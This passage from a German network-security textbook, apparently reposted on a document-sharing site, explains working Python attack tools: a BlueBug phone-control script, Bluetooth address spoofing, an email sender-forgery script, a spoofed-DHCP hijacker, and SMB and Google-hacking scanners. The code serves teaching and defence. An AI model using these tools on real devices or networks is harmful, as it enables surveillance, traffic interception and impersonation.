Important Announcement
PubHTML5 Scheduled Server Maintenance on (GMT) Sunday, June 26th, 2:00 am - 8:00 am.
PubHTML5 site will be inoperative during the times indicated!

Home Explore Network Hacks

Network Hacks

Published by petru.butnariu, 2017-09-28 15:40:31

Description: https://megadl.fr/?oj9trk6r5x

Search

Read the Text Version

142 9 Bluetooth auf den Zahn gefühlt geschrieben wird. Falls der Angriff geklappt hat, befinden sich nun lokal im aktuel- len Verzeichnis die Dateien calendar.vcs und phonebook.vcf, die die Kalender- und Telefonbuch-Daten des Mobiltelefons enthalten. 9.8 Blue Bug Exploit Der Blue Bug Exploit geht noch ein ganzes Stück weiter. Einige Bluetooth-Geräte besitzen einen versteckten Channel, der nicht via SDP gelistet ist und zu dem man sich ohne Passwortschutz verbinden kann. Einmal connected kann man jeden belie- bigen AT-Befehl senden und das Telefon führt ihn ohne zu fragen aus. Damit kann man das Gerät komplett fernsteuern und mehr Funktionen aufrufen, als der eigent- liche Besitzer an der Tastatur. Die Möglichkeiten dieses Exploit reichen somit vom Auslesen von Telefonbuch und Kalender über das Lesen und Versenden von SMS und das Tätigen von Telefonanrufe bis hin zu kompletter Raumüberwachung, in- dem man unbemerkt den Hörer abhebt. Auf einem Nokia 6310i, dem klassischen Lieblingstelefon eines jeden Bluetooth-Hackers, implementiert es doch die besten Sicherheitslücken mit optimaler Performance, befindet sich der BlueBug auf Chan- nel 17. Eine Dokumentation des kompletten NokiaAT Command Sets gibt es im Netz unter www.datenterrorist.de/doc/AT_Command_Set_For_Nokia_GSM.pdf.1 #!/usr/bin/python 23 import sys4 import lightblue 56 if len(sys.argv) < 2:7 print sys.argv[0] + \" <btaddr> <channel>\"8 sys.exit(0) 910 btaddr = sys.argv[1]11 channel = int(sys.argv[2]) or 1712 running = True1314 sock = lightblue.socket()15 sock.connect((sys.argv[1], channel))1617 while running:18 cmd = raw_input(\">>> \")1920 if cmd == \"quit\" or cmd == \"exit\":21 running = False22 else:23 sock.send(cmd)2425 sock.close() Der Source Code ist dem des RFCOMM-Channel-Scanners recht ähnlich, ver- bindet sich das Tool doch per RFCOMM zum angegebenen Channel bzw per default

9.9 Bluetooth-Spoofing 143auf Channel 17 und sendet in einer Endlosschleife so lange alle Befehle an das ent-fernte Gerät, bis der Benutzer das Programm mittels Eingabe von „quit“ oder „exit“abbricht. Zum Einlesen der Benutzereingaben wird die Funktion raw_input() ver-wendet, der als Parameter ein Prompt mitgegeben werden kann. 9.9 Bluetooth-Spoofing Eine Zeit lang galt Bluetooth-Spoofing als nicht durchführbar, denn die Adres- se eines Bluetooth-Pakets wird anders als bei Ethernet, IP oder WLAN nicht im Kernel des Betriebssystems gesetzt, sondern in der Firmware des Bluetooth-Chips. Für zwei verschiedene Chipsätze existieren allerdings Codes, die einen HCI-Befehl verwenden, der das Setzen einer neuen Bluetooth-Adresse erlaubt: CSR und Eric- cson. Den Chipsatz Ihres Bluetooth-Dongles finden Sie mit Hilfe des Befehls hcidump -a heraus.1 #!/usr/bin/python 23 import sys4 import struct5 import bluetooth._bluetooth as bt 67 if len(sys.argv) < 2:8 print sys.argv[0] + \" <bdaddr>\"9 sys.exit(1)1011 # Split bluetooth address into it’s bytes12 baddr = sys.argv[1].split(\":\")1314 # Open hci socket15 sock = bt.hci_open_dev(0)1617 # CSR vendor command to change address18 cmd = [ \"\xc2\", \"\x02\", \"\x00\", \"\x0c\", \"\x00\", \"\x11\",19 \"\x47\", \"\x03\", \"\x70\", \"\x00\", \"\x00\", \"\x01\",20 \"\x00\", \"\x04\", \"\x00\", \"\x00\", \"\x00\", \"\x00\",21 \"\x00\", \"\x00\", \"\x00\", \"\x00\", \"\x00\", \"\x00\",22 \"\x00\" ]2324 # Set new addr in hex25 cmd[17] = baddr[3].decode(\"hex\")26 cmd[19] = baddr[5].decode(\"hex\")27 cmd[20] = baddr[4].decode(\"hex\")28 cmd[21] = baddr[2].decode(\"hex\")29 cmd[23] = baddr[1].decode(\"hex\")30 cmd[24] = baddr[0].decode(\"hex\")3132 # Send HCI request33 bt.hci_send_req(sock,34 bt.OGF_VENDOR_CMD,

144 9 Bluetooth auf den Zahn gefühlt35 0,36 bt.EVT_VENDOR,37 2000,38 \"\".join(cmd))3940 sock.close()41 print \"Dont forget to reset your device\" Zuerst wird die angegebene Bluetooth-Adresse anhand der Doppelpunkte in ihre Bytes zerlegt. Dann öffnen wir mit der pybluez-Funktion hci_open_dev einen Raw Socket auf das erste HCI-Device, konstruieren einen kryptischen, magischen CSR- Vendor-Befehl, den der Autor von Marcel Holtmann, dem Maintainer des BlueZ- Projekts, erhalten hat und fügen in ihm die neue Bluetooth-Adresse ein. Es ist wich- tig die Adresse als Hex einzufügen, da ansonsten die ASCII-Werte der einzelnen Zeichen gesetzt werden. Abschließend wird der Befehl per HCI an die Firmware gesendet. Nach dem Setzen einer neuen Bluetooth-Adresse muss der Chip resettet werden. Dies geschieht am einfachsten, indem Sie den Dongle rausziehen und wieder in die Buchse stecken. Nun sollte permanent die neue Adresse in der Firmware stehen. Die alte können Sie auf dieselbe Weise wieder herstellen. 9.10 Sniffing Für Standard-Bluetooth-Firmwares existiert keine Art von Promisc-Modus. Mit Tools wie hcidump kann man deshalb immer nur seinen eigenen Traffic mitlesen. hcidump -X -i hci0 In Python geht HCI-Sniffing leider nicht so leicht von der Hand. Für die Erstel- lung eines HCI-Sniffers verwenden wir wieder das Modul pybluez.1 #!/usr/bin/python 23 import sys4 import struct5 import bluetooth._bluetooth as bt 67 # Open hci socket8 sock = bt.hci_open_dev(0) 910 # Get data direction information11 sock.setsockopt(bt.SOL_HCI, bt.HCI_DATA_DIR, 1)1213 # Get timestamps14 sock.setsockopt(bt.SOL_HCI, bt.HCI_TIME_STAMP, 1)1516 # Construct and set filter to sniff all hci events17 # and all packet types18 filter = bt.hci_filter_new()

9.10 Sniffing 14519 bt.hci_filter_all_events(filter)20 bt.hci_filter_all_ptypes(filter)21 sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, filter)2223 # Start sniffing24 while True:25 # Read first 3 byte26 header = sock.recv(3)2728 if header:29 # Decode them and read the rest of the packet30 ptype, event, plen = struct.unpack(\"BBB\", header)31 packet = sock.recv(plen)3233 print \"Ptype: \" + str(ptype) + \" Event: \" + str(event)34 print \"Packet: \"3536 # Got ACL data connection? Try to dump it in ascii37 # otherwise dump the packet in hex38 if ptype == bt.HCI_ACLDATA_PKT:39 print packet + \"\n\"40 else:41 for c in packet:42 hex = struct.unpack(\"B\",c)[0]43 sys.stdout.write(\"%02x \" % hex)44 print \"\n\"4546 # Got no data47 else:48 break4950 sock.close() Die Funktion hci_open_dev(0) öffnet einen Raw-Socket zum ersten HCI- Device. Auf diesem Socket wird unter anderem die Eigenschaft HCI_FILTER ge- setzt, damit alle HCI-Events und Pakettypen mitgelesen werden. In einer Endlos- schleife lesen wir dann zuerst 3 Byte aus dem Socket. Das erste Byte repräsentiert den HCI-Packet-Type, das zweite das HCI-Event und das dritte gibt die Länge des nachfolgenden Pakets an. Abschließend lesen wir den Rest des Paket mit Hilfe der angegebenen Länge ein. Das Paket geben wir anschließend byteweise als Hexadezimal aus, es sei denn, bei dem Paket-Type handelt es sich um HCI_ACLDATA_PKT, dann geben wir das gesamte Paket als ASCII-String aus in der Hoffnung, vielleicht lesbare Kommu- nikation zu erhalten. In den meisten Fällen werden dadurch wahrscheinlich binäre Daten auf den Bildschirm geschrieben und in Folge dessen das Terminal verwirrt. Mit Hilfe des Befehls reset kann man dies allerdings beheben. Die Firma Frontline (www.ftr.com) hat einen Bluetooth-Dongle (FTS4BT) ent- wickelt, auf dem eine Firmware läuft, die das Sniffen von sämtlichem Bluetooth- Verkehr erlaubt. Ein solcher Dongle kostet allerdings rund 10.000 US-Dollar. Eine Sniffer-Software für Windows sowie die aktuelle Firmware gibt es kosten- los auf der Herstellerseite zu beziehen. Die Firmware überprüft die USB-Vendor-

146 9 Bluetooth auf den Zahn gefühltund Product-ID des Dongles, auf dem sie läuft. Das soll garantieren, dass die Firm-ware nur auf FTR-Dongles kopiert werden kann. Unter Linux ist es nicht besondersschwer die Vendor- und Product-ID eines USB-Sticks zu verändern. Die Manipula-tion des USB-Sticks und der anschließende Flash-Vorgang auf einem CSR-Chipsatzwurde in einem Vortrag auf dem Easterhegg Congress 2007 erläutert. Die Papers zudem Vortrag finden Sie im Netz unter www.evilgenius.de/wp-content/uploads/2007/04/eh07_bluetooth_hacking.pdf. Eine unlizenzierte Nutzung der Firmware dürfte in den meisten Ländern aller-dings illegal sein.9.11 Tools9.11.1 BlueMahoBlueMaho (wiki.thc.org/BlueMaho) ist eine Reimplementierung von Bluediving(bluediving.sourceforge.net) in Python. Das Projekt bietet eine Bluetooth-Tool- undExploitsammlung unter einer Consolen-UI oder einer wxPython-GUI. EnthalteneTools sind beispielsweise Redfang und Greenplaque zum Aufspüren von Bluetooth-Geräten im Non-Discovery-Modus, Carwhisperer zum Verbinden zu Freisprechein-richtungen in Fahrzeugen, um sowohl Audio vom Fahrzeug abzugreifen als auchAudio in das Fahrzeug zu senden, Hidattack zum Übernehmen von Bluetooth Tas-taturen und -Mäusen, BSS, einen Bluetooth-Fuzzer, einen L2CAP-Paketgeneratorund Exploits wie BlueBug, BlueSnarf, BlueSnarf++, BlueSmack und Helomoto.Des Weiteren bietet es noch die Möglichkeit die Adresse eines Bluetooth-Geräts zuändern, sofern es einen CSR-Chipsatz enthält.

Kapitel 10Grabbelkisten-Kung-FuZusammenfassung Im letzten Kapitel sind all die schönen Hacks, Tools, Tippsund Codes versammelt, die nicht so recht zum Thema eines der vorherigen Kapitelpassen wollen. Hier tummeln sich Techniken wie das Fälschen einer E-Mail, IP-Bruteforcing, Google Hacking und DHCP Hijacking.10.1 Benötigte ModuleDer Autor ist sich sicher, dass Sie Scapy schon installiert haben, deswegen benöti-gen Sie zusätzlich nur das Tailer- sowie das Google-Modul. pip install tailer pip install google 10.2 Fälschen eines E-Mail-Absenders Die meisten Menschen verwundert es nicht, dass man den Absender eines Brie- fes oder einer Postkarte fälschen kann, indem man mit einem Stift einfach einen anderen Namen draufschreibt, aber wenn eine elektronische Postkarte, sprich ei- ne unverschlüsselte E-Mail versendet wird, ist das Erstaunen oft groß, dass man hier ebenfalls den Absender ändern kann. Zeit endlich mit diesem Umstand auf- zuräumen und dem interessierten Leser zu zeigen, wie einfach sich eine E-Mail- Absenderadresse fälschen lässt. Hierfür schreiben wir ein kleines Programm, das sich direkt per Socket-Verbindung zu einem SMTP-Server verbindet und SMTP mit ihm spricht. Wir setzen den Socket in den non-blocking-Modus, damit ein Aufruf von recv() nicht blockiert, wenn es keine Daten zu lesen gibt.1 #!/usr/bin/python23 import socket45 HOST = ’localhost’B. Ballmann, Network Hacks – Intensivkurs, Xpert.press, 147DOI 10.1007/978-3-642-24305-9_10, © Springer-Verlag Berlin Heidelberg 2012

148 10 Grabbelkisten-Kung-Fu6 PORT = 257 MAIL_TO = \"someone@on_the_inter.net\" 89 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)10 sock.setblocking(0)11 sock.connect((HOST, PORT))1213 sock.send(’HELO du.da’)14 sock.send(’MAIL FROM: [email protected]’)15 print repr(sock.recv(1024))1617 sock.send(’RCPT TO: ’ + MAIL_TO)18 print repr(sock.recv(1024))1920 sock.send(’DATA’)21 sock.send(’Subject: Dein Wunschzettel’)22 sock.send(’Selbstverstaendlich bekommst Du Dein Pony!’)23 sock.send(’Mfg der Weihnachtsmann’)24 sock.send(’.’)25 print repr(sock.recv(1024))2627 sock.send(’QUIT’)28 print repr(sock.recv(1024))2930 sock.close() Der SMTP-Server wird mit dem Kommando HELO begrüßt. Anschließend teilt man ihm die Absender- und Empfänger-Adresse mit. Mittels DATA-Kommando wird der Body der Mail initiiert. Hier könnte man ebenfalls mit To: und From: noch- mals die Adressen setzen. Manche Mail-Clients zeigen nur die Adressen aus der DATA-Sektion an, verschicken aber an die MAIL FROM Adresse, wenn man auf Ant- worten klickt, was dazu führen kann, dass man an eine andere Adresse sendet als man auf dem Bildschirm sieht. In unserem Beispiel setzen wir allerdings nur das Subject, schreiben eine kurze, nette Mail und beenden die DATA-Sektion mit ei- nem für sich alleinstehenden Punkt. Als Letztes Beenden wir die Kommunikation mit QUIT und schließen die Socket-Verbindung. Normalerweise würde man bei ei- nem SMTP-Client die Antworten des Servers z. B. nach dem RCPT TO-Kommando auswerten können, um mitzubekommen, dass beispielsweise Relaying denied ist, sprich der Server unsere Post nicht weiterleiten will, aber in diesem Beispiel wurde darauf verzichtet, weil es uns nur um das Fälschen einer E-Mail ging und man zum normalen Versenden einer E-Mail besser auf Module wie smtplib zurückgreifen sollte. 10.3 DHCP Hijack DHCP (Dynamic Host Configuration Protocol) dient in vielen Netzwerken dazu automatisch neu ans Netz angeschlossene Clients zu konfigurieren, indem es ihnen im einfachsten Fall nur eine IP-Adresse und die Netzwerkmaske des Netzes mitteilt,

10.3 DHCP Hijack 149 in den meisten Fälle noch zusätzlich das Standard-Gateway sowie DNS-Server und Domainname mitliefert und in wenigen Fällen sogar dem Client erzählt, wie er zu heißen hat. Über DHCP können allerdings auch exotischere Sachen konfiguriert werden, wie z. B. der zu verwendende NIS-Server für die UNIX-Passwort-Authentifizierung oder NetBIOS-Server für Windows-Authentifizierung und Namensauflösung, Dru- ckerserver, Logserver und vieles mehr. Das Ganze geschieht natürlich völlig ohne Verschlüsselung und ohne Authentifizierung, frei nach dem Motto: Das Netz will mir schon nichts Böses. Ein interner Angreifer hat allerdings ein immenses Interesse daran, DHCP zu missbrauchen, liefert es ihm doch auf sehr einfache Weise die Möglichkeit, sich selbst als DNS-Server einzutragen und somit DNS-Spoofing (Abschn. 6.7) über- flüssig zu machen oder sich gar selbst zum Standard-Gateway zu deklarieren, so dass der gesamte Internet-Traffic ohne ARP-Cache-Poisoning (Abschn. 4.2) über seinen Rechner geroutet wird. Im einfachsten Fall konfiguriert ein Angreifer einen eigenen DHCP-Server, um sein Ziel zu erreichen. Dieser verschickt Antworten an alle anfragenden Clients. Ein eigener DHCP-Server hat allerdings den gravierenden Nachteil, dass er die eigene MAC-Adresse verrät und somit leichter aufspürbar ist. Ein intelligenter Angreifer wird sich deshalb ein Tool schreiben, um ein perfekt gespooftes DHCP-ACK-Paket zu kreieren, das so aussieht, als käme es vom offiziellen DHCP-Server des Netz- werks.1 #!/usr/bin/python 23 import sys4 import getopt5 import random6 import scapy.all as scapy 78 dev = \"eth0\"9 gateway = None10 nameserver = None11 dhcpserver = None12 client_net = \"192.168.1.\"13 filter = \"udp port 67\"1415 def handle_packet(packet):16 eth = packet.getlayer(scapy.Ether)17 ip = packet.getlayer(scapy.IP)18 udp = packet.getlayer(scapy.UDP)19 bootp = packet.getlayer(scapy.BOOTP)20 dhcp = packet.getlayer(scapy.DHCP)21 dhcp_message_type = None2223 if not dhcp:24 return False2526 for opt in dhcp.options:27 if opt[0] == \"message-type\":

150 10 Grabbelkisten-Kung-Fu28 dhcp_message_type = opt[1]2930 # dhcp request31 if dhcp_message_type == 3:32 client_ip = client_net + str(random.randint(2,254))3334 dhcp_ack = scapy.Ether(src=eth.dst, dst=eth.src) / \35 scapy.IP(src=dhcpserver, dst=client_ip) / \36 scapy.UDP(sport=udp.dport,37 dport=udp.sport) / \38 scapy.BOOTP(op=2,39 chaddr=eth.dst,40 siaddr=gateway,41 yiaddr=client_ip,42 xid=bootp.xid) / \43 scapy.DHCP(options=[(’message-type’, 5),44 (’requested_addr’,45 client_ip),46 (’subnet_mask’,47 ’255.255.255.0’),48 (’router’, gateway),49 (’name_server’,50 nameserver),51 (’end’)])5253 print \"Send spoofed DHCP ACK to %s\" % ip.src54 scapy.sendp(dhcp_ack, iface=dev)555657 def usage():58 print sys.argv[0] + \"\"\"59 -d <dns_ip>60 -g <gateway_ip>61 -i <dev>62 -s <dhcp_ip>\"\"\"63 sys.exit(1)646566 try:67 cmd_opts = \"d:g:i:s:\"68 opts, args = getopt.getopt(sys.argv[1:], cmd_opts)69 except getopt.GetoptError:70 usage()7172 for opt in opts:73 if opt[0] == \"-i\":74 dev = opt[1]75 elif opt[0] == \"-g\":76 gateway = opt[1]77 elif opt[0] == \"-d\":78 nameserver = opt[1]79 elif opt[0] == \"-s\":80 dhcpserver = opt[1]81 else:

10.4 IP Bruteforcer 15182 usage()8384 if not gateway:85 gateway = scapy.get_if_addr(dev)8687 if not nameserver:88 nameserver = gateway8990 if not dhcpserver:91 dhcpserver = gateway9293 print \"Hijacking DHCP requests on %s\" % (dev)94 scapy.sniff(iface=dev, filter=filter, prn=handle_packet) Der Code benutzt die Scapy-Funktion sniff(), um UDP-Traffic auf Port 67 mitzuhören. Für jedes eingefangene Paket wird die Funktion handle_packet auf- gerufen, die zu allererst mit Hilfe der getlayer-Funktion die einzelnen Layers des Pakets dekodiert und anschließend überprüft, ob es sich bei dem Paket um einen DHCP-Request (Message-Type 3) handelt. Falls dies der Fall ist, wird ein neues Paket konstruiert mit umgedrehten IP-Adressen und UDP-Ports, damit es an sei- nen Ursprung zurückgesendet wird. Wichtig ist, als Destination-IP-Adresse diesel- be Adresse zu verwenden, die wir dem Client zuweisen. Die Source-IP setzen wir auf die IP des offiziellen DHCP-Servers. DHCP ist eine Erweiterung des BOOTP-Protokolls. Deswegen fügen wir vor den DHCP-Header noch einen BOOTP-Header ein. Der DHCP-Message-Type wird auf 5 gesetzt, das entspricht einem DHCPACK. Fehlt noch die IP-Adresse, die dem Client zugewiesen werden soll (requested_addr), die Subnetzmaske, Standard-Gateway und Nameserver. Das konstruierte Paket wird abschließend mit sendp versendet. Falls es vor der Antwort des offiziellen DHCP-Servers den Client erreicht, laufen sowohl alle DNS-Anfragen als auch der Internet-Traffic nun über den Computer des Angreifers. Dem sicherheitsbewussten Admin sollte klar sein, dass DHCP neben Arbeitser- sparnissen durchaus eine Sicherheitslücke darstellen kann und das nicht nur, indem es jeden Client meist ungefragt mit einer Netzkonfiguration versorgt, sondern auch, weil es nicht immer der DHCP-Server sein muss, der einem antwortet. Überlegen Sie sich deshalb gut, ob Sie diesen Dienst in Ihrem Netzwerk wirklich benötigen, und wenn nicht schalten Sie ihn ab, denn tote Dienste lügen nicht. Das hindert natür- lich keinen Client daran, DHCP-Requests zu versenden und keinen Angreifer daran diese zu beantworten, aber wenn der Dienst von Haus aus im Netzwerk nicht an- geboten wird, ist die Chance, dass er Verwendung findet, geringer und die Chance, dass ein Angriff entdeckt wird, sehr viel höher.10.4 IP BruteforcerSofern man sich erfolgreich in ein IP-Netz geklinkt hat, braucht man eine IP-Adresse. Manche Netze liefern diese nicht frei Haus per DHCP und es findet sichauch kein Client, an dessen IP man erkennen kann, zu welchem IP-Frame das

152 10 Grabbelkisten-Kung-Fu Netz gehört. In solch einem Fall wird ein Angreifer versuchen eine IP zu brute- forcen.1 #!/usr/bin/python 23 import os4 import re5 import sys6 from random import randint 78 device = \"wlan0\"9 ips = range(1,254)1011 def ping_ip(ip):12 fh = os.popen(\"ping -c 1 -W 1 \" + ip)13 resp = fh.read()1415 if re.search(\"bytes from\", resp, re.MULTILINE):16 print \"Got response from \" + ip17 sys.exit(0)1819 while len(ips) > 0:20 host_byte = randint(2, 253)21 idx = randint(0, len(ips) - 1)22 ip = ips[idx]23 del ips[idx]2425 print \"Checking net 192.168.\" + str(ip) + \".0\"26 cmd = \"ifconfig \" + device + \" 192.168.\" + str(ip) + \27 \".\" + str(host_byte) + \" up\"28 os.system(cmd)29 ping_ip(\"192.168.\" + str(ip) + \".1\")30 ping_ip(\"192.168.\" + str(ip) + \".254\") Das Script weist der Netzwerkkarte zufällig eine IP zu, angefangen von 192.168. 1.x bis 192.168.254.x, wobei das letzte Byte, das sogenannte Host Byte, ebenfalls zufällig besetzt wird mit einer Zahl von 2 bis 253. Mittels der Funktion ping_ip() wird versucht, sowohl die IP mit dem Host Byte 1 und 254, welches die zwei mit Abstand häufigsten IP-Adressen für Gateways sind, anzupingen. Im resultierenden Output wird nach dem String bytes from gesucht, der signalisiert, dass wir eine positive Antwort für unseren Ping bekommen und somit eine gültige IP-Adresse gefunden haben. 10.5 Google-Hacks-Scanner In Europa und den USA ist Google mit einem Marktanteil von 85 bis 90% ganz klar auf Platz eins der Internetsuchmaschinen. Das Verb „googeln“ schaffte es in Deutschland sogar schon im Jahre 2003 auf Platz 9 der Wörter des Jahres, es ist

10.5 Google-Hacks-Scanner 153 2004 offiziell in den Duden aufgenommen worden und in den USA das Wort des gerade vergangenen Jahrzehnts! Googles Suchmaschine besticht durch ein einfaches Interface, das durch die ver- schiedenen Suchkommandos wie intitle oder site dennoch sehr mächtig ist. Klar, dass Google nicht nur Normalbenutzern gefällt, sondern auch von Hackern und Cra- ckern ausgiebig genutzt wird. Die Königsdisziplin des Google-Hackings bildet die Google-Hacking-Database, kurz GHDB, von Johnny Long. Sie enthält Suchanfragen, mit denen man unter anderem Passwörter und Accountdaten oder vermeintlich versteckte Geräte wie Drucker, Überwachungskameras, Server-Überwachungssysteme und vieles mehr im Netz finden kann. Wir werden als Nächstes ein Google-Hacking-Tool schreiben.1 #!/usr/bin/python 23 import re4 import sys5 import google6 import urllib2 78 if len(sys.argv) < 2:9 print sys.argv[0] + \": <dict>\"10 sys.exit(1)1112 fh = open(sys.argv[1])1314 for word in fh.readlines():15 print \"\nSearching for \" + word.strip()16 results = google.search(word.strip())1718 try:19 for link in results:20 if re.search(\"youtube\", link) == None: print link21 except KeyError:22 pass23 except urllib2.HTTPError, e:24 print \"Google search failed: \" + str(e) Zuerst wird die Wörterbuchdatei eingelesen, die in jeder Zeile einen Google- Suchstring, wie beispielsweise intitle:,,index.of‘‘ mp3 [dir], enthält. Für jede Suchanfrage bemühen wir die search-Funktion des Google-Python-Moduls, die uns zu der jeweiligen Anfrage eine Links-Liste zurückliefert. Optional kann man ihr noch den Parameter stop mitgeben, um die maximale Anzahl der einzule- senden Ergebnisseiten zu minimieren, sowie den Parameter pause, um die Anzahl Sekunden anzugeben, die das Modul zwischen den Abrufen der einzelnen Ergeb- nisseiten warten soll. Schickt man zu schnell zu viele Suchanfragen, sperrt Google die anfragende IP. Es kann sich also durchaus lohnen, ein wenig auf die Bremse zu treten.

154 10 Grabbelkisten-Kung-Fu10.6 SMB-Share-Scanner SMB (Server Message Block) bzw. die erweiterte Version mit dem leicht grö- ßenwahnsinnigen Namen Common Internet Filesystem (CIFS) implementiert ein Netzwerk-Protokoll unter Windows, das einer eierlegenden Wollmilchsau gleicht. Es ermöglicht nicht nur die Freigabe von Laufwerken und den Austausch von Da- teien, sondern auch die Authentifizierung von Benutzern und Gruppen, Verwaltung von Domänen, Auflösung von Windows-Computernamen, Freigabe von Druckern und sogar IPC (Interprocess Communication)-Möglichkeiten wie das Microsoft- eigene Remote-Procedure-Protokoll MSRPC. Windows-Benutzer gehen oft recht sorglos mit diesem Protokoll um und geben gar ihre ganze C-Festplatte dem gesam- ten Internet ohne Passwortabfrage preis. Das nachfolgende Tool implementiert einen arg vereinfachten Scanner, um of- fene SMB Shares in einem IP-Bereich zu finden. Sollten Sie dieses Script nicht immens erweitern wollen, schlägt der Autor vor, es nur zu Lernzwecken zu ver- wenden und für produktive SMB-Scans nmap einzusetzen. Nmap ist der weltbeste Portscanner und bietet über die NMAP Scripting Engine viele sehr gute Scripte, die weit mehr mit gefundenen Ports anstellen können, als nur Shares via SMB zu scan- nen. Doch Nmap ist in C++ geschrieben, deswegen widmen wir uns nun unserem Python-Beispielcode.1 #!/usr/bin/python 23 import sys4 import os5 from random import randint 6 78 def get_ips(start_ip, stop_ip):9 ips = []10 tmp = []1112 for i in start_ip.split(’.’):13 tmp.append(\"%02X\" % long(i))1415 start_dec = long(’’.join(tmp), 16)16 tmp = []1718 for i in stop_ip.split(’.’):19 tmp.append(\"%02X\" % long(i))2021 stop_dec = long(’’.join(tmp), 16)2223 while(start_dec < stop_dec + 1):24 bytes = []25 bytes.append(str(int(start_dec / 16777216)))26 rem = start_dec % 1677721627 bytes.append(str(int(rem / 65536)))28 rem = rem % 6553629 bytes.append(str(int(rem / 256)))

10.7 Login Watcher 15530 rem = rem % 25631 bytes.append(str(rem))32 ips.append(\".\".join(bytes))33 start_dec += 13435 return ips363738 def smb_share_scan(ip):39 os.system(\"smbclient -q -N -L \" + ip)4041 if len(sys.argv) < 2:42 print sys.argv[0] + \": <start_ip-stop_ip>\"43 sys.exit(1)44 else:45 if sys.argv[1].find(’-’) > 0:46 start_ip, stop_ip = sys.argv[1].split(\"-\")47 ips = get_ips(start_ip, stop_ip)4849 while len(ips) > 0:50 i = randint(0, len(ips) - 1)51 lookup_ip = str(ips[i])52 del ips[i]53 smb_share_scan(lookup_ip)54 else:55 smb_share_scan(sys.argv[1]) Der Code verwendet die schon aus Abschn. 6 bekannte get_ips()-Funktion, um den IP-Bereich zu berechnen, iteriert zufällig über alle Adressen und ruft einfach nur das externe Kommando smbclient auf, das widerum versucht, ohne Authentifika- tion per SMB alle Shares aufzulisten.10.7 Login WatcherNach drei fehlgeschlagenen Login Versuchen gesperrt zu werden und eine TAN oderSuper-PIN-Nummer eingeben zu müssen, bevor man wieder auf einen Account zu-greifen darf, ist in sicherheitskritischen Umgebungen wie dem Online-Banking ei-ne Selbstverständlichkeit. Lokal am eigenen Rechner wird ein Angreifer allerdingshöchstens eine bis zwei Sekunden ausgebremst, bevor er weiter versuchen darf Pass-wörter einzugeben. Wäre es nicht praktisch, wenn der Computer nach drei falschenLoginversuchen den Angreifer automatisch sperren würde? Nehmen wir an, es han-delt sich um einen wichtigen Laptop, der mit Hilfe von Festplatten-Verschlüsselunggeschützt ist, sobald der Rechner ausgeschaltet ist. In diesem Fall wäre der besteSchutz nach Eingabe drei falscher Passwörter, den Computer einfach auszuschal-ten, und weil der Autor ein Sarkasmus liebender Schelm ist, veralbert der Rechnervor dem Herunterfahren noch den Angreifer per Sprachausgabe. Jede erfolgreicheAnmeldung wird ebenfalls per Sprachausgabe kommentiert. Damit die Sprachaus-gabe funktioniert, müssen Sie das Programm festival installiert haben.

156 10 Grabbelkisten-Kung-Fu1 #!/usr/bin/python 23 import os4 import re5 import tailer6 import random 7 89 logfile = \"/var/log/auth.log\"10 max_failed = 311 max_failed_cmd = \"/sbin/shutdown -h now\"12 failed_login = {}1314 success_patterns = [15 re.compile(\"Accepted password for (?P<user>.+?) from \16 (?P<host>.+?) port\"),17 re.compile(\"session opened for user (?P<user>.+?) by\"),18 ]1920 failed_patterns = [21 re.compile(\"Failed password for (?P<user>.+?) from \22 (?P<host>.+?) port\"),23 re.compile(\"FAILED LOGIN (\(\d\)) on ‘(.+?)’ FOR \24 ‘(?P<user>.+?)’\"),25 re.compile(\"authentication failure\;.+?\26 user\=(?P<user>.+?)\s+.+?\s+user\=(.+)\")27 ]2829 shutdown_msgs = [30 \"Eat my shorts\",31 \"Follow the white rabbit\",32 \"System will explode in three seconds!\",33 \"Go home and leave me alone.\",34 \"Game... Over!\"35 ]363738 def check_match(line, pattern, failed_login_check):39 found = False40 match = pattern.search(line)4142 if(match != None):43 found = True44 failed_login.setdefault(match.group(’user’), 0)4546 # Remote login failed47 if(match.group(’host’) != None and failed_login_check):48 os.system(\"echo ’Login for user \" + \49 match.group(’user’) + \50 \" from host \" + match.group(’host’) + \51 \" failed!’ | festival --tts\")52 failed_login[match.group(’user’)] += 15354 # Remote login successfull

10.7 Login Watcher 15755 elif(match.group(’host’) != None and \56 not failed_login_check):57 os.system(\"echo ’User \" + match.group(’user’) + \58 \" logged in from host \" + \59 match.group(’host’) + \60 \"’ | festival --tts\")61 failed_login[match.group(’user’)] = 06263 # Local login failed64 elif(match.group(’user’) != \"CRON\" and \65 failed_login_check):66 os.system(\"echo ’User \" + match.group(’user’) + \67 \" logged in’ | festival --tts\")68 failed_login[match.group(’user’)] += 16970 # Local login successfull71 elif(match.group(’user’) != \"CRON\" and \72 not failed_login_check):73 os.system(\"echo ’User \" + match.group(’user’) + \74 \" logged in’ | festival --tts\")75 failed_login[match.group(’user’)] = 07677 # Too many failed login?78 if failed_login[match.group(’user’)] >= max_failed:79 os.system(\"echo ’\" + random.choice(shutdown_msgs) + \80 \"’ | festival --tts\")81 os.system(max_failed_cmd)8283 return found848586 for line in tailer.follow(open(logfile)):87 found = False8889 for pattern in failed_patterns:90 found = check_match(line, pattern, True)91 if found: break9293 if not found:94 for pattern in success_patterns:95 found = check_match(line, pattern, False)96 if found: break Am Anfang des Scripts werden eine Reihe von Variablen definiert: Die einzu-lesende Logdatei, die maximale Anzahl an fehlgeschlagenen Loginversuchen undder Befehl, der ausgeführt wird, falls ein Benutzer diese Anzahl überschreitet. Da-nach wird ein Dictionary definiert, das die fehlgeschlagenen Loginversuche zu User-namen zählt. Die Liste success_patterns enthält vorkompilierte reguläre Aus-drücke, die einen erfolgreichen Login kennzeichnen. failed_patterns hingegenenthält eine Liste von vorkompilierten regulären Ausdrücken, die einen Fehlver-such finden. Zu guter Letzt werden in shutdown_msgs Meldungen gesammelt, dievorgelesen werden, bevor der max_failed_logins_cmd ausgeführt wird.

